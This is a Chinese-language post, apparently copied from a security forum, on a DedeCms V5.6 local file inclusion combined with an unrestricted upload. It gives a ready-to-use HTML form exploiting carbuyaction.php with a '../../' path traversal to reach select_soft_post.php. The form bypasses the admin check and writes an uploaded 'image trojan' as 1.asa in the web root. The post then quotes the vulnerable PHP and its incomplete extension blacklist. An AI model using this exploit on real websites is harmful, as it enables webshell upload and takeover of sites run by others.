软件开发培训班 >> 网络技术 >> 网络安全
DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布) |
|
本文标签:本地包含,上传漏洞 DedeCmsV5.6 本地包含 DedeCmsV5.6 本地包含 http://t00ls.net/thread-8608-1-1.html 之前就发现了这本地包含的利用方法 。 复制代码 代码如下:<form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch"> <input type="hidden" name="newname" value="1.asa"> <input type="file" name="uploadfile"> <input type="submit" value="搜索" name="QuickSearchBtn"> </form> 上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件 简单分析: 文件:select_soft_post.php 复制代码 代码如下:<?php if(!isset($cfg_basedir)) { include_once(dirname(__FILE__)./config.php); } //config.php 是用于验证是否管理员 。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证 。 //文件名(前为手工指定, 后者自动处理) if(!empty($newname)) { $filename = $newname; if(!ereg("\.", $filename)) $fs = explode(., $uploadfile_name); else $fs = explode(., $filename); if(eregi($cfg_not_allowall, $fs[count($fs)-1])) { ShowMsg("你指定的文件名被系统禁止!",javascript:;); exit(); } if(!ereg("\.", $filename)) $filename = $filename...$fs[count($fs)-1]; }else{ $filename = $cuserLogin->getUserID().-.dd2char(MyDate(ymdHis,$nowtme)); $fs = explode(., $uploadfile_name); if(eregi($cfg_not_allowall, $fs[count($fs)-1])) { ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",javascript:;); exit(); } $filename = $filename...$fs[count($fs)-1]; } 问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型 //这里强制限定的某些文件类型禁止上传 $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml"; 即可以上传非上面类型的文件,有时也并不鸡肋 。 。 |